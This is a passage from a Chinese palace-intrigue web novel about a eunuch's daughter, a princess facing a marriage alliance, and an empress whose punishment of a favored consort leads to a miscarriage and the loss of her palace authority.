“能讨万妹妹高兴,一点子靡费不算什么。”甄氏浑不在意的样子。 寻了旧例,万珍珠就是跟甄氏磨一磨嘴皮子的功夫。 如此,也算得打发了时间。 大赵朝,燕京都,潭水寺。 淑阳公主得了父王的允许,她去一趟寺庙上香祈福。 潭水里的香火鼎盛。淑阳公主来,表面说是替亲人祈福。实则是替自己祈福。 至于说早死的程廷清这一桩旧债,那在淑阳公主的心底没半点风波。活人都不怕,还怕死人吗? 淑阳公主恨不能没认识过程廷清。毕竟程廷清的存在就代表了淑阳公主的识人不清。 “阿弥陀佛,佛主保佑。”淑阳公主在心中默念了祈祷词后,又是双手合十,在蒲团上做了礼。 来一趟寺庙,上香祈福,当然也要吃一吃素斋。 大寺庙的素斋也是一绝,不止味好,更是有一番的特色。特别潭水寺的素鸡,淑阳公主就很喜爱。 “往后,怕是很难尝到这般合心意的十锦素鸡。”淑阳公主用过饭,又是感慨一回。 潭水寺搬不走,和尚留在和尚庙。淑阳公主却是要远嫁的人。她心有留恋。 淑阳公主不想和亲。不止一回,淑阳公主生出来了许多回不和亲的念头。 只是她不敢讲出来罢了。或者说,淑阳公主太知道,就是讲出来也没人会替她做主。 “殿下。”在淑阳公主结束一天的祈福后。她跟前的奶嬷嬷来禀话,道:“已差人递上话。” “递上话就好。”淑阳公主笑了。 “本宫求的不多。就想求了哥哥的准允,让哥哥心腹多留在镐京都一些时日。后宫争斗,总要有一点宫外的助力才成。”淑阳公主轻声讲一回自己的打算。 淑阳公主的主意打定了,她跟奶嬷嬷这般讲。那也是想着让奶嬷嬷记心上,往后往这一个方向努力。 “殿下,来年留了赵统领在镐京都,他真能得大用吗?”奶嬷嬷有一些的怀疑。 “得用不得用,事情发生了,就让时间来验一验火候。”淑阳公主淡然回道:“谋事在人,成事在天。本宫没能得用的,夹袋子里也没什么人物。” 淑阳公主结交过一些人物。可惜,有些成功了,有些失败了。 成功了的,又能如何?淑阳公主一旦离开燕京都。那些人再是成了风云儿,也跟淑阳公主的干系不大。 至于留了赵济世在镐京都。不过是淑阳公府的随手一子。成不成,不过是留一条路。 在心底,淑阳公主更想借了赵济世的这一条路径,那是小小的贪墨一点哥哥李明弘在镐京都的人脉关系。 甭管有多少,有,总好过没有。 大晋朝,镐京都,皇宫,宫廷内苑。 洪福帝在宫外有偶遇的美人朱凤曦,在宫廷内,洪福帝又享受一回偶遇。 一位闺名唤云珠的宫人,在一场小雪后,于梅林里摘花时遇上了洪福帝。 “绝代佳人,好,好一个一舞倾城。”洪福帝瞧着在雪中林间跳舞的仙子,他瞧上了。 当日,洪福帝领了宫人云珠去泰和宫。次日,洪福帝册封宫人云珠为正八品的云采女。 小小宫人,在宫廷里得了帝王宠幸,瞧着是飞上枝头。 可落在一些贵人的眼中,不过一个幸运儿的诞生。 这好像是小事,谁让云采女是宫人出身,她底蕴就不足。 宫廷,职房。 万忠良瞧着干儿子宋三德,笑道:“云采女承圣恩,得天子欢喜,不错。三德,你办的差遣还成。” “咱记得内府缺一个副总管。三德,您很好,就补上这一个肥缺吧。”万忠良笑道。 “全是干爹的提携。”宋三德忙跪下来谢恩。 瞧着磕头的干儿子,万忠良摆摆手,笑道:“是你办事得力。” 万忠良的跟前不缺干儿子。他想提携了人,那也得对方有几分本事。 真是烂泥扶不上墙,万忠良肯定不会提携的。 当然了,做为没根的太监,他们都想往爬,这就造成了职缺少,等着想填缺的人多。 又或者说,搁宫廷里,但凡有机会在万忠良跟前露脸的人,就肯定会有几分本事。 没本事的,一定不会有机会活生生的出现在万忠良的眼皮子下。 昭阳宫。 魏皇后在翻彤史,瞧过后,昭阳宫要落印的。 这事情关系着皇家子嗣,毕竟嫔妃侍寝过,万一怀孕了,那怀孕的日期得跟彤史对得上。 查看彤史,知道谁真的得圣宠。谁不得圣宠,就是留一点体面。从彤史上一瞧,一眼分明。 魏皇后乐意接受了赵修媛,便是彤史之上,赵修媛不见姓名。 哪怕洪福帝每一月里,总一日会去赵修媛的宫里坐一坐,又或者歇一晚。那又如何? 帝妃二人不困觉,就是单纯的各盖一床锦被歇息。 对于这般有一点体面,有一些家世,又不争宠的嫔妃。魏皇后打心眼里就很喜欢。 “嬷嬷,本宫翻了彤史,瞧着云氏独占陛下,她是太猖狂了。”魏皇后在押醋。 那跟打翻一坛子的陈年老醋一般,味太冲,又太酸。 魏嬷嬷全嗅着了。魏嬷嬷在心里为难。面上还要安慰了皇后娘娘。 “皇后娘娘不必担忧,云采女是宫人出身,区区八品。一时得宠,长久不了。”魏嬷嬷宽慰一番话。也是她的真心话。 “可她如今得宠。万一哄了陛下提拔呢。”魏皇后倔强一回。 “正八品的采女,能压她一头的娘娘多着。皇后娘娘,您不必急。真要着急,让人打头阵去。”魏嬷嬷真想安抚了魏皇后。于是出了损主意。 “嬷嬷的话在理。本宫跟云采女真计较了,还是抬举她。”魏皇后一琢磨也觉得魏嬷嬷的话在理。 瞧着云采女太风光,想让人收拾她。那就吩咐一声,让昭阳宫的跟班去收拾。 这般想一想,魏皇后有主意。于是吩咐道:“嬷嬷,传了赵修媛来。” 魏 皇后在冬至节时,她被天子打脸一回。不止如此,次日,她的贴身宫女曝毙。 虽然这事情有天子允许,让昭阳宫给压下去。 可这一桩事情还在魏皇后的心底扎了一根刺。 特别是母亲进宫,又是劝她。还让嫂嫂去浑江郡主府拉拢了万氏女。 一桩一桩的事情,让魏皇后在心头扎了一根刺,还是越扎越深。 拔不出来,就是隐隐做痛。每每一想,魏皇后就堵心。 魏皇后的心底,赵修媛是她的小跟班。她想使唤,就能使唤。 赵修媛是大皇子生母,在洪福帝跟前有一二分体面。 赵修媛的家世背景比上不足,比下有余。 在魏皇后眼里要退一射之地。可搁赵修媛心底,她还是有贵女的骄傲。 “本宫知了。”赵修媛跟身边的一等宫女颔首。 这宫女是娘家送进来的。也是赵修媛的心腹。关于娘家的意思,赵修媛懂。或者说她与亲人之间有默契。 比起扶持了族里的族妹。赵修媛还是乐意帮衬一回亲妹妹赵五姑娘。 “……”赵修媛伸手,她抚一抚自己的小腹处。 这儿曾经育孕过一个孩子。可惜的是那个孩子诞下后,早早夭折。 赵修媛很伤感。她午夜梦里忍不住的想,若是把皇儿抚养大些。 熬一熬啊,熬到皇儿娶妻生子。她的一辈子也不会如现在这般无助。 做为嫔妃,要替天子举荐美人,还是自己的亲妹妹。赵修媛的心里岂能不酸涩,不过是在现实面前,她得低头,她没得选。 就在赵修媛发散了思绪,让自己沉浸在了悲伤之时。昭阳宫来了宫人传话。 赵修媛收拾一番心情,她得去一趟昭阳宫。 对于魏皇后的呼来喝去,赵修媛忍了。 在盼着昭阳宫不找茬时,在低头认输时,赵修媛就知道有这么一天的时候。 赵修媛不想低头都不成。她不得宠了。魏皇后掌着宫权。 魏皇后想给赵修媛吃苦头,穿小鞋,有的是法子。想拿捏人,在宫廷里,从来不缺手段。 吃了哑巴亏,没得说理处。 人嘛,落了屋檐下,不得不低头的道理,赵修媛被教训过,尔后,就懂得了。 洪福十五年,冬。 赵修媛病一场。因着她领了一份差遣,替魏皇后办事。 这不,小小刁难一下云采女。结果,赵修媛丢了一回脸面。 前头云采女被赵修媛罚一回,后面天子赐恩典,又晋封云采女为正七品的选侍。 云选侍得晋封之喜,赵修媛病一场。 病了,赵修媛隐身一回,不掺合了宫廷里的争宠之事。 洪福十五年,临近小年的前一天。万珍珠在林江郡主府做客。 煮青梅酒,又吃了热锅子。万珍珠和林江郡主开开心心的闲话半个时辰。 “浑江妹妹消息灵通,可听说了,宫廷里出现一位了不得的娘娘。”林江郡主感慨一回。 “……”万珍珠抬头,这会儿搁下筷子,她是吃好了。 拿着帕子擦擦嘴,万珍珠再是饮一小口的青梅酒。 “林江姐姐说的是那一位……”万珍珠指着宫廷方向,笑道:“连升五级的云美人,云娘娘。” 云美人从宫人连升五级跳。正八品的采女,正七品的选侍,正六品的宝林,正五品的才人,正四品美人。 这一位云美人是一级一级的晋升职位。搁万珍珠的眼里,就是嘛,晋升的速度太快。 这不,一入帝王眼,就是五级连跳的升职加薪。 区区不足一月的时间。太快,快的让多少人惊呼一回。 “对啊,就是这一位云娘娘。”林江郡主笑道:“我可打听了,云娘娘的生辰在腊月三十日,大团圆的好时节。” “这不,我想备了贺礼,贺云娘娘生辰之喜。”林江郡主又提了自己在操办的事情。 万珍珠差一点被咽着。她小心的问道:“林江姐姐想巴结了云娘娘?” “没错。”林江郡主实话实说。 “姐姐不怕开罪了昭阳宫,开罪了庆德长公主殿下?”万珍珠想不通。 “……”林江郡主捂嘴笑一回。 “宫里娘娘只要得宠的。我都想巴结了。至于昭阳宫,我从来是奉了最多的礼,最重的礼。”林江郡主搁下品着的青梅酒。 她讲道:“都说宗室一家亲,庆德姑姑也不好为难我一个小辈的。” 万珍珠懂了。林江郡主依仗着宗室郡主的身份,也就作威作福。 又或者说,林江郡主巴结宠妃,瞧那态度,根本就不是头一回。 既然不是头一回,早有前科,那自然没有半分怕的。 “姐姐做事,惬意自在。”万珍珠感慨一回,自嘲道:“我比不得。” 莫看万珍珠做人做事,来了镐京都后,也是随心所欲的很。 可样样的事情,她踩着底线的。 至少心里不痛快,真想发疯时,万珍珠也会忍了又忍。 除非是真的忍不住。 毕竟万珍珠信一个道理。退一步海阔天空。忍一时风平浪静。虽然忍一时,那会越想越气。 但是能忍则忍。实在忍不住了,万珍珠才会装疯卖痴。 “妹妹不知道,我这般行事,不过依仗着父王母妃心疼罢了。”林江郡主也是自嘲的讲道。 “……”万珍珠沉默。这会儿她瞧出来林江郡主的一双眼眸子里有不开心的情绪。 “有父母大人的心疼,全然是好事。姐姐应该高兴的。”万珍珠笑道。 “对对。”林江郡主轻轻的摇摇头,似乎是摇散了心头的坏情绪。 “父王母妃心疼我,庆德姑姑那里,二老替我撑着。”林江郡主又饮一回青梅酒。 酒入喉,酒不醉人人自醉。林江郡主又道:“可……我怕了。” “我怕了,我才会去讨好了陛下跟前的得脸人。”林江郡主搁下酒盏,她用手捂住脸。 “……”万珍珠继续沉默。她觉得面前的林江郡主就想说说话。于是就做了一回听众。 “我这一辈子就嫁一个男人,一个短命鬼。”林江郡主骂着短命鬼夫君。 万珍珠瞧着貌似撒了酒疯的林江郡主。 这般失态的宗室郡主,万珍珠是头一回瞧见,可谓是涨了见识。 “嗝……”打了一个酒嗝的林江郡主在骂爽了后。她扔了酒盏在地上。 “哗啦啦”,瓷器烧的酒盏碎了。 侍候的丫鬟想上前,林江郡主摆摆手,道:“退下,全退下。我要跟浑江妹妹好好吃酒。你们莫打扰,退远些。” 丫鬟瞧着地上的酒盏碎渣,一个个露出了为难的神色。 “林江姐姐,让她们收拾一下吧。”万珍珠劝话道:“这酒盏碎了,万一,一不小心伤着人就不妥当了。” 万珍珠本着与人为善,与己为善。她也害怕,万一自己不小心踩着了,受伤咋办,那就不美。 又或者说,万一喝得迷糊的林江郡主被伤到了,真心不好。 “……”林江郡主的目光落在万珍珠身上。她见万珍珠神色坚定,劝了一回,再劝一回。 “你们赶紧的,收拾收拾,就全退下。”林江郡主吩咐一回。 得了林江郡主的吩咐,丫鬟动手,很快就收拾妥当。 尔后,侍候的丫鬟全退下,如此,又剩下万珍珠与林江郡主吃酒了。 “好酒。”林江郡主端了新的酒盏,满饮一杯。 “刚才说到哪?”林江郡主迷糊。 没等万珍珠提醒,她似乎又想起来。林江郡主又骂一回短命鬼丈夫。 似乎骂得高兴了,林江郡主又道:“我这般粗鲁,浑江妹妹,可被吓住了?” “姐姐是真性情,我只有羡慕的,没可能被吓唬住。”万珍珠特淡定。 “那我凑近妹妹跟前,想与妹妹结交一二,也是为了讨好妹妹的父亲大人万内相呢。”林江郡主又问道。 “来到镐京都,想讨好我父的人太多。也不差谁。”万珍珠语气平静。 “我跟林江姐姐常走动,纯粹是我欣赏林江 姐姐做人做事的态度。您活的清醒,又知道自己想要什么。还不惧了流言蜚语。“万珍珠的眼中,林江郡主一直是活成了她的榜样。 至于说林江郡主的“试探”也罢,酒醉了说漏嘴也罢。 这些不重要。反正人嘛,只要活着,来来往往,必然少不掉一个又一个的圈子。 万珍珠跟林江郡主吃吃喝喝,酒肉朋友,也挺不错。 反正万珍珠本心坚定,在亲爹跟前,她不会替谁谁说好话。 亲爹拿主意的事情,万珍珠不掺合。 “哈哈哈……”林江郡主痛快的笑一回。 “浑江妹妹,你才洒脱。”林江郡主夸赞,不止夸赞。 林江郡主还是伸手拍一拍桌子,笑道:“如此瞧来,我小家子气。” “往后我与妹妹来往,我记妹妹的好。若是有朝一日妹妹落难了,我一定搭救一回。”林江郡主给了承诺。 “只盼我这一席话,莫让妹妹误会了,还以为我瞧妹妹不起。”林江郡主解释一回。 “不误会。”万珍珠重重的点点头。 从亲娘那儿万珍珠已经明白世态炎凉。亲娘当初怕什么,不就怕太监的风光短暂。 万珍珠得了林江郡主的承诺,哪怕是酒桌上的承诺。可对方愿意讲出口,万珍珠就承情。 旁人待她的坏,万珍珠全记在小本本上。 旁人待她的好,万珍珠也会记着。 又是时光逝。洪福十五年,陈夕,辞旧迎新。 浑江郡主府,万珍珠和亲娘一道守岁。 “也不知,你爹在宫里当差如何。”牛二囡跟闺女嘀咕一回。 “……”万珍珠能说什么。 万珍珠不想说什么。因为她知道,凭她爹在宫里当差,还是遇上除夕这样的大日子。 那肯定累着。毕竟皇帝都要守岁。亲爹还不得站着侍候。 “娘,爹当差一直是守了规矩。我想着,一定是辛苦的很。”万珍珠实话实说。 除夕之日,家家守岁。 宫廷里,皇家一样守岁。这一日,也是热闹的很。 亲娘唠叨,万珍珠仔细听着。一边听着,也是附合一二。 在心里,万珍珠还是盼着辞旧迎新后,亲爹回府里小住一二日。 洪福十六年,元宵节。万珍珠得了各府的赠礼。 收礼了,回礼了。于万珍珠的眼中,这便是人情往来。 元宵节,灯会节。万珍珠早早听说了,长灯夜市,火树银花。 听着就热闹。于是她跟亲娘领了护卫去瞧一瞧元宵节的灯会。 天上星星,地上灯光。一盏又一盏的灯笼点亮。 一时之间,游人如织的长街上,那真是瞧着明亮的灯河长长,就像是映衬了天上的星河。 甚美,美的耀眼,美的灿烂。 在一处摊子上,万珍珠买下一盏八角灯笼。 她递给亲娘,笑道:“娘,您给提着。都说提灯有喜。” “我祝贺娘年年今朝,今朝进财。”万珍珠笑道。 牛二囡一听着女儿的话,她忙接过八角灯笼。 “好,好。今年进财。”牛二囡来到镐京都以后,当家的给她一些家业,让她管理。 牛二囡很用心,她盼着家业越来越红火。在牛二囡的心里,这家业不止是她的,还是留给未来孙孙辈的。 万珍珠陪着亲娘走在长街上,买过灯笼,买过糖人。 尔后,在一家面具摊子前,万珍珠又挑了三个面具。 “娘瞧瞧,这像不像一家人。”万珍珠指着三个面具。 “这是爹爹,这是娘,这是福娃娃我。”万珍珠笑道。 话罢,万珍珠还是挂了面具在脖子上。就当一个装饰品。 对于女儿逛街一趟,开开心心。牛二囡也是笑脸附合一二。 母女二人都是高高兴兴的时候。又遇上了做吃食的小摊子。 搁贵人眼中,这是下里巴人吃的。跟阳春白雪的贵人不搭配。可落了万珍珠和亲娘眼中,这就很舒坦。 反正万珍珠对于小吃摊子,那是馋嘴了。于是她说道:“娘,走了许久路,我们歇歇吧。” “好,正巧遇上吃食摊子。我们歇歇脚,也尝一尝新鲜。”牛二囡不拒绝了女儿的提议。 在小摊子上品一品人间烟火气。万珍珠欢喜,亲娘也欢喜。 等着万忠良寻到母女二人时,他瞧见的,便是这般的母女欢颜场景。 “来一份吃食。”万忠良走到母女二人坐的小桌前,他也落坐。 万忠良点了吃食。这时候,摊主热忱的应了。 在摊主上吃食前。万珍珠瞧着亲爹,她甜甜唤道:“爹爹。” “当家的。”牛二囡也唤一声。 “我去给当家的端吃食。”牛二囡要起身。 “坐。”万忠良讲一字。 “这摊子有摊主,你安坐。”万忠良笑道。牛二囡一听这话,她便继续坐着。 此时,万珍珠已经用好吃食。于是,她搁了小筷,拿帕子擦一擦嘴角后,问道:“爹爹来瞧了元宵节的灯会,可是下差了?” “能陪你们母女逛逛街。”万忠良回道。 听着亲爹这话,万珍珠全懂了。 下差是不可能下差的。这八成,不,应该十成是亲爹陪了天子逛灯会。 只是眼下嘛,天子的跟前可能不需要亲爹留守。 想着秋猎旧事。万珍珠没抖机灵。她可记得冬至节时,那昭阳宫的宫女下场。 洪福帝是天子,天子嘛,以天下奉一人。这一位张口,说吃人,不带半点含糊的。 天子,又岂止是凡人。更像是权利的象征。不对,应该是权利的野兽。 皇权至尊,皇权至高,皇权至大。这等无节制的皇权,当然就是兽性比人性更大。 兽性,利益为重嘛。至于人性的光辉一面,谁信,谁傻。 万珍珠是不相信的。 “爹爹,等会儿我们去看打铁花。好不?”万珍珠瞧着摊主还在做吃食,她提议道。 “成。”万忠良不拒绝。 待着摊主送上吃食,万忠良垫一垫肚子。 在小摊上用好吃食后,给了饭钱。一家三口就是逛一逛街。尔后,一路往打铁花的地方去。 铁树银花,点点光芒。万珍珠瞧着,真是挺美的。 在万珍珠享受着爹娘相伴,一起逛街的美好时。 洪福帝在享受了与美人的又一回相遇。 宫廷里,云美人得宠。又如何? 洪福帝做为天子,他不止想当天子,他还想当一回刘二郎。 刘二郎遇上朱凤曦,郎有情,妾有意。可谓是夜风遇朗月,良辰美景时。 正月十五日,元宵节。可民间有言,十六的月亮更圆。 正月十六日,万珍珠瞧着回府的爹爹。她挺惊讶一回。 “出宫办差,回府一趟。”万忠良给闺女解释一回。 “那爹爹不能久待了,对吗?”万珍珠问道。 “可留下来陪你吃盏茶。”万忠良笑道。 “可惜,娘没在府里。娘在,我们一家子一起吃茶。”万珍珠可惜一回。 “无妨。”万忠良不在意。 “待二三月,有空闲了。我们一家人去踏青。”万忠良给女儿许愿。 “太好了。”万珍珠挺开心。 这会儿万珍珠赶紧煮茶,既然爹爹有吃盏茶的功夫。她可不能浪费时间。 得了小坐一会儿的时间。万珍珠煮茶,万忠良闲坐。 此时,在丫鬟们送上果子点心后,被万忠良挥退了。花厅里,父女二人独处。 “若是承恩公府又登门,你跟往常一样行事即可。”万忠良叮嘱一回闺女。 “承恩公府惹事了?”万珍珠脑子一转,寻问话道。 “魏国公是老实人,可惜,他不爱惹事。却是生了一对会惹事的儿女。”万忠良啧啧两声。 “全是儿女债啊。”万忠良真心觉得魏国公不容易。 “不过这一回,不是承恩公府的世子惹麻烦。”万忠良知道的,那承恩公府的世子也不止惹了一桩两桩的麻烦。 往昔,全让庆德长公主差人摆平掉。 “这一回是宫里出事 。“万忠良指一指宫廷的方向。 “爹爹,宫里面出事,一定是大事。若不方便讲,您便不要讲。”万珍珠懂得体贴亲爹的不容易。 要是她不能听的,真不必听。 “大事,瞒不住的大事。”万忠良讲道:“早早晚晚,应该知道的都会知道。” “哦。”万珍珠点点头。 既然是大事,还瞒不住的。那万珍珠就想听一听。人嘛,总有好奇心。 “爹爹给说说呗。也让女儿心头有一点底细。”万珍珠好奇的问道。 “昨个元宵节,陛下出宫了。陛下不在,云美人让皇后娘娘罚了,罚跪两个时辰。如此,云美人小产了,一个月的龙胎。”万忠良叹息一回。 搁万忠良的心思。让干儿子推荐一位云氏。不过是想着多一个吹枕头风的人物。 至于说云氏肚子里的龙胎。如果可以,万忠良是乐意保住的。 谁让当今天子的子嗣缘太单薄。一个健康的三皇子,不够,这皇子数量太少。 万忠良这一等的天子心腹,他都替天子忧心的很。 “皇嗣没了。”万珍珠惊讶,这可是大事。 “云娘娘真可怜。”万珍珠不想说魏皇后的坏话。她在小本本记下了,就没有必要总叨叨。 于是万珍珠叨叨一回云美人。可怜,真是可怜。 要知道宫廷里的皇嗣太值钱。那可是有皇位等着继承的。 心念一动,万珍珠琢磨着,魏皇后祸事了。 “那……”万珍珠说道:“爹爹出宫,可是为着云娘娘小产一事。” “对。”万忠良不瞒着,在亲闺女跟前,能说的事,总要说说。算是替亲闺女涨见识。 这不,他道:“天子心疼云美人,差咱亲自走一趟,算是给云美人做体面。这不,已经去过云家给云父传旨赐爵。” 第40章 万忠良不会跟亲闺女讲的,那便是他乐意出宫跑一趟。 还是他自己跟天子洪福帝求来的差遣。岂止是为了去给云美人做脸面。 万忠良是想着顺道回一趟府邸。瞧一瞧女儿,若是妻子安在,也是一家人聚一聚。 哪怕是短暂的聚一聚呢,万忠良是喜欢上一家子聚一起的温馨。 大赵朝,燕京都,齐王府。 淑阳公主的心情很坏。她将离开家乡的日子越来越近。 关于皇宫的消息,淑阳公主知道的不多。 大赵天子的身体健康情况如何?许多人在揣测。淑阳公主也非常关心着。 “殿下。”李嬷嬷向淑阳公主禀话,道:“宫里来人传旨。” 淑阳公主一听,忙起身,道:“随本宫去接旨。” 等淑阳公主到正院时,齐王府的大小主子们全在。 天使来传旨,不过是传了大赵天子的口谕。 “……”天使说什么,淑阳公主很关心。可听到圣谕的意思后,淑阳公主一颗心凉嗖嗖的。 “……钦哉。”等天使念完圣旨,应该让接旨人淑阳公主接旨时。淑阳公主还愣在当场。 为何如此?因为淑阳公主遭不住。明明还天冷着,正月时节里,寒凉气冻人。 这等时候说什么钦天监合了吉日,让淑阳公主赶紧的上路。 上什么路?淑阳心想,不归路吧。 淑阳公主抬眼,瞧一回传旨的天使。她又低了头,恭敬的伸出双手,接下圣旨,参拜大礼道:“孙女叩谢皇祖父恩典。” 天使来一趟传旨。齐王差人赏了天使一回。 待天使离开后,在场诸人里,齐王膝下的几个儿女皆恭喜一回淑阳公主。 听着这些人的恭喜,落在淑阳公主的耳朵里跟嘲讽没两样。 唯有李明弘例外,他的神色很冷漠。 “父王,我送妹妹先回翠玉轩。”李明弘提议道。 “去吧。”齐王同意了嫡长子的话。 “妹妹,走吧。”李明弘对父王见一礼,尔后,唤了妹妹淑阳离开。 淑阳公主听过兄长的话,忙向齐王福一礼,尔后,也随兄长一道离开。 此时此刻,淑阳公主的神色与兄长一样,二人都是冷静淡漠。 待着回了翠玉轩,淑阳公主差心腹把圣旨供奉好。 她接待了兄长,道:“哥哥,瞧你这神情,您这般冷淡淡的,将来可要吓着我的嫂嫂。” 淑阳公主望着兄长,还是打趣一回话。也算得缓和一下气氛。 “吓唬不住谁。”李明弘却不在意的样子。 李明弘早成婚了,只是元配难产而亡。如今嘛,继妻人选尚未择出。 当初李明弘会在永州向朱凤曦示好,那时候,他真的起心意。 或者说,一见钟情也罢,怦然心动也罢。那时候的李明弘是真想娶了朱凤曦做继室。 朱凤曦没同意。或者说李明弘的心头也是衡量着。 也许继室的位置许给朱凤曦的话,也不是太保险。那么,侧室的位置,他一定是要许给心上人。 当然,朱凤曦拒绝了。谁让李明弘的话含糊不清。 又或者说大晋朝和大赵朝隔着朝堂风云,压根儿不是一条道的。 朱凤曦不傻,她背后的朱氏一族更不傻。 李明弘想赚得一个美人儿,没成功,有失落。 可那些不重要。 对于李明弘而言,他身为齐王世子。他的身边不会缺了美人。有权利,有地位,又岂会缺少红颜知己。 比起美人,李明弘还是更在意自己的地位,自己的前程。 “只是可惜,我成婚时,妹妹不在。”李明弘有些遗憾。 “我不能见着嫂嫂进门,也挺遗憾。那就替嫂嫂提前求一求兄长。往后兄长待嫂嫂可要多多爱护。”淑阳公主笑道:“特别是嫂嫂进门后,哥哥一定要带嫂嫂去给母妃磕头上香。” “这事你不说,我和你嫂嫂也不会怠慢。”李明弘回道。 儿女孝道,搁民间,那能压死个人。搁皇家,这也是治天下的标榜。 没谁敢担了不孝的名头。皇子不敢,身为皇孙的李明弘更不敢。 “妹妹,我准备了一点心意。”李明弘从袖中拿出一个小匣子。 “妹妹收着。”李明弘推着小匣子上前。 小匣子在桌上被推动,一下子推到淑阳公主的跟前。 “这是……”淑阳公主迟疑片刻。她见着兄长点点头示意。 淑阳公主打开小匣子,她瞧见了里面的金豆子。 满满一匣子的金豆子。瞧着耀眼,金光灿灿。 “哥哥费心思了。”淑阳公主心里还是感动的。她的嫁妆,兄长盯紧。 待出嫁时,陪嫁的丫鬟仆妇等等,兄长也一直差人盯着。 前面已经添过嫁妆,如今又是给了压箱底的银钱。 淑阳公主知道的,依兄长目前的身份,这般已经做足了心思。 再想多替她这一个妹妹主持了公道,兄长的身份不够。 压在兄长头上的,还有两座大山,皇祖父安在,父王安在,她这一个妹妹的前程不是兄长能做主的。 燕京都,内城,赵宅。 赵济世买的小院子,二进的院子。说是二进的院子。实则嘛,这“二进”两字上要打一个大大的折扣。 说是一进半的院子更妥帖些。可这地段好。 搁皇城根下,想进了内城买宅子。没一点身份地位,那难的很。 这二进的赵宅里,如今不止住着赵济世,还住着赵济世的兄弟。 倒不全是为了省那一点租房钱。主要是兄弟们的家眷不会留了燕京都,全在家乡。 如此结义兄弟住一起,彼此有照应外。更是为了安全与保密。 燕京都里,赵济世花钱也花的大方。不止为了大方,更是为了结交人脉。 燕京都的人脉得维护好,家乡的父老乡亲一样要维护好。 赵济世做人做事,那宁可苦一苦自己,也要让兄弟们过一点宽省日子。 或者说赵济世手头宽省,有一分钱,那就把一分钱花在了兄弟们的身上。 这样的好大哥,他的诸位结义兄弟里,人人都服气的。 “天寒地冻,大哥,你这一趟去西边不容易啊。”马义瞧着大哥回府后,给他说一说要出差的事情。马义忍不住就嘀咕一回。 “食君之禄,担君之忧。”赵济世看得开,他笑道:“我既然替世子办事,多方奔走,也如我愿。” “二弟,你留了燕京都,还得替兄弟们守 好家。“赵济世免不得要叮嘱一番结义兄弟。 “大哥放心,我一定遵守了你的安排。”马义拍胸膛保证道。 “二弟办事,大哥放心。”赵济世笑道。 嘴里这般讲,应该吩咐的章程与细节,赵济世不止说,还是一一写下来。让马义有事没事就多读几回。 对于读书,马义是不喜的。还是被兄长押着,那才识了字。 字是认识上一两千,只写出来后,马义的一笔字就跟狗爬一样。勉强让人看得懂,那是真的不好看,太丑。 大晋朝,镐京都,内城,承恩公府。 庆德长公主病一场,她被气病了。魏国公是二十四孝的好夫君,还守了庆德长公主的床榻前。 “本宫造了什么孽。”庆德长公主在驸马跟前,她想吐槽。 在庆德长公主的心里,女儿魏皇后一直是心软的。 或者说留在了庆德长公主的印象里,对于亲闺女自然是有亲娘滤镜的。 “往昔,我只道皇后娘娘耳根子软。没料,她办起事情倒是风风火火。真真是没个周全。”庆德长公主一想到云美人小产没了的孩子。 庆德长公主心烦意乱。 “……”魏国公本来有话说,瞧着公主吐苦水,他又闭嘴了。 一直等着庆德长公主嘀咕了好一番后。庆德长公主瞧着驸马,问道:“本宫讲半天,你不吱一声。如何,驸马不赞同本宫的话?” “没,没。”魏国公忙摆手。 “殿下之言,全有道理。”魏国公忙摆手。 “我就担忧,这一回的事情在天子跟前难以混淆过去。”魏国公想说,又没敢讲的话。 那便是他家的闺女,堂堂的皇后娘娘已经直接间接的让天子没了两个皇嗣。 二皇子一事,当初也是闹腾过的。特别是二皇子的生母,在二皇子殁了后,那可是撞柱而亡。 打那后,魏国公瞧着天子待昭阳宫就是淡薄两分。 到如今,得宠的云美人又小产,又是昭阳宫的黑锅。 魏国公都是心累了。 “唉,皇后娘娘糊涂啊。”魏国公实话实说。 在他眼中,女儿真糊涂。堂堂中宫,她不争不抢,凭着家世背景坐稳皇后宝座就好。 若是可以,再争一争天子的圣心,哪怕得宠一些呢,那也是好事儿。 至于能不能生下皇子?这是看命。能有最好,若是没有。也不强求。 反正哪一位皇子登基,总要尊了嫡母为母后皇太后。 魏国公想得开,还是蛐蛐一回魏皇后。庆德长公主听着不顺耳。 “你站哪一边的?”庆德长公主生气的问了驸马。 “我倒想站皇后娘娘一边,我是皇后的亲爹。”魏国公无奈的讲道:“可殿下瞧瞧,昭阳宫如今的祸事多大。又是皇嗣没了。” “唉唉。”魏国公连声哀叹。 “……”庆德长公主也沉默。良久后,她讲道:“我进宫后,也是问了皇后娘娘的本意。” “娘娘说,她无意。这一回真是意外。”庆德长公主替女儿开脱一回。 至于说魏嬷嬷偷偷禀报给庆德长公主的一些消息。庆德长公主没讲。 对于云美人的出现,魏嬷嬷再三劝皇后不必计较。真要计较,让旁人计较去。 这想法好,就是实施的时候出差子。赵修媛不中用,让云美人踩着上位。 这不,赵修媛压不住云美人,其它人更不敢得罪了宠妃云氏。 魏皇后气不过,尔后,她是亲自撸了袖子上阵。 魏嬷嬷劝不住魏皇后,只能在庆德长公主跟前磕头认错。 请长公主殿下劝一劝皇后娘娘。魏嬷嬷真怕哪一天陛下不想忍了昭阳宫时。万一,不拿了皇后娘娘开刀,拿她这等皇后娘娘的跟前人开刀。那又如何是好? 魏嬷嬷真怕的。可谓是怕的要死。谁让魏嬷嬷不是一人,她还有丈夫儿女呢,魏嬷嬷特别不想一家人整整齐齐的去九幽黄泉报到。 “真的意外,还是巧合,如今事情发生了,唉。”魏国公又叹息。 “殿下,我们还是赶紧想法子求了陛下的宽恕,这才是最要紧的。”魏国公没糊涂。宫廷内外,关乎皇嗣。 落在魏国公的眼中,如今洪福帝的态度最重要。一念是生,一念是死。 镐京都,皇城,泰和宫。 洪福帝瞧着万大伴呈上来的东西,他淡淡的瞄一眼,尔后,就是打开这一份奏本。 “朕的岳丈是一个识趣的人。”洪福帝感慨一回。 魏国公不止拿出家里的银子孝敬给天子。还是献上来魏氏的一份底蕴。 何等底蕴?当然是魏氏祖宗在军中的一份势力。 这可是魏国公亲爹传来的家底。如今,为了魏皇后,魏国公真的大出血,把老本都舍了出来。 “唉,国丈不容易。”洪福帝望一眼昭阳宫的方向。洪福帝替姑父兼岳父的魏国公感慨一回。 “大伴,差人把凤印送去昭阳宫。”洪福帝吩咐一回。 “唯。”万忠良应下话。 在云美人出事后,关乎皇嗣。洪福帝不止恩赏云美人的父亲做为安抚。 同时,洪福帝还是夺了魏皇后的宫权,连凤印都收走了。 如何愿意把凤印还回去,这便是帝王的态度。怎么说呢? 对于云美人,洪福帝是真心怜爱的。可美人再好,关乎权利时,也得退让一番。 